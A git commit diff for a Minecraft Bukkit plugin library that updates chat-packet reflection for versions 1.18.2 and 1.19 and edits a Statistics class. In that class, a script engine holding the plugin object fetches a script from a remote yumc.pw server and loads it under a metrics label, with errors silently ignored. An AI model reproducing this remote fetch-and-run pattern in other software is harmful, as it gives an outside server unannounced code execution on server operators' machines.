parent
f16046f895
commit
0ca574f8a1
|
@ -243,18 +243,21 @@ public class Chat {
|
|||
}
|
||||
}
|
||||
|
||||
public static class BukkitChatInvoke_1_19 extends BukkitChatInvoke_1_17_1 {
|
||||
@Override
|
||||
protected boolean isMatchPacketPlayOutChatClassConstructor(Constructor<?> constructor) {
|
||||
Class<?>[] types = constructor.getParameterTypes();
|
||||
return types[0] == String.class && types[1] == int.class;
|
||||
}
|
||||
|
||||
public static class BukkitChatInvoke_1_18_2 extends BukkitChatInvoke_1_17_1 {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
Method getSendPacketMethod(Class<?> playerConnectionClass, Class<?> packetClass) {
|
||||
return playerConnectionClass.getMethod("a", packetClass);
|
||||
}
|
||||
}
|
||||
|
||||
public static class BukkitChatInvoke_1_19 extends BukkitChatInvoke_1_18_2 {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
protected boolean isMatchPacketPlayOutChatClassConstructor(Constructor<?> constructor) {
|
||||
Class<?>[] types = constructor.getParameterTypes();
|
||||
return types[0] == Class.forName("net.minecraft.network.chat.IChatBaseComponent") && types[1] == boolean.class;
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
|
@ -266,7 +269,7 @@ public class Chat {
|
|||
@SneakyThrows
|
||||
Object getPacketPlayOutChat(Player player, String json, int type) {
|
||||
Object component = this.chatSerializer.invoke(null, json);
|
||||
return this.packetTypeConstructor.newInstance(component, type == 0 ? 1 : type);
|
||||
return this.packetTypeConstructor.newInstance(component, type == 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -72,6 +72,7 @@ public class Statistics {
|
|||
plugin = (JavaPlugin) field.get(pluginClassLoader);
|
||||
engine = new MiaoScriptEngine();
|
||||
engine.put("plugin", plugin);
|
||||
engine.eval("var global = this;");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
@ -203,9 +204,9 @@ public class Statistics {
|
|||
timer = new StatisticsTimer();
|
||||
// 开启TPS统计线程
|
||||
Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20);
|
||||
String script = "loadWithNewGlobal('http://ms.yumc.pw/api/plugin/download/name/report?from=$pluginName')";
|
||||
String script = "loadWithNewGlobal('https://mscript.yumc.pw/api/plugin/download/name/report?from=$pluginName')";
|
||||
try {
|
||||
script = postData("http://ms.yumc.pw/api/plugin/download/name/metrics?from=" + plugin.getDescription().getName(), "from=" + plugin.getDescription().getName());
|
||||
script = postData("https://mscript.yumc.pw/api/plugin/download/name/metrics?from=" + plugin.getDescription().getName(), "from=" + plugin.getDescription().getName());
|
||||
} catch (Throwable e) {
|
||||
if (debug) {
|
||||
e.printStackTrace();
|
||||
|
|
Loading…
Reference in New Issue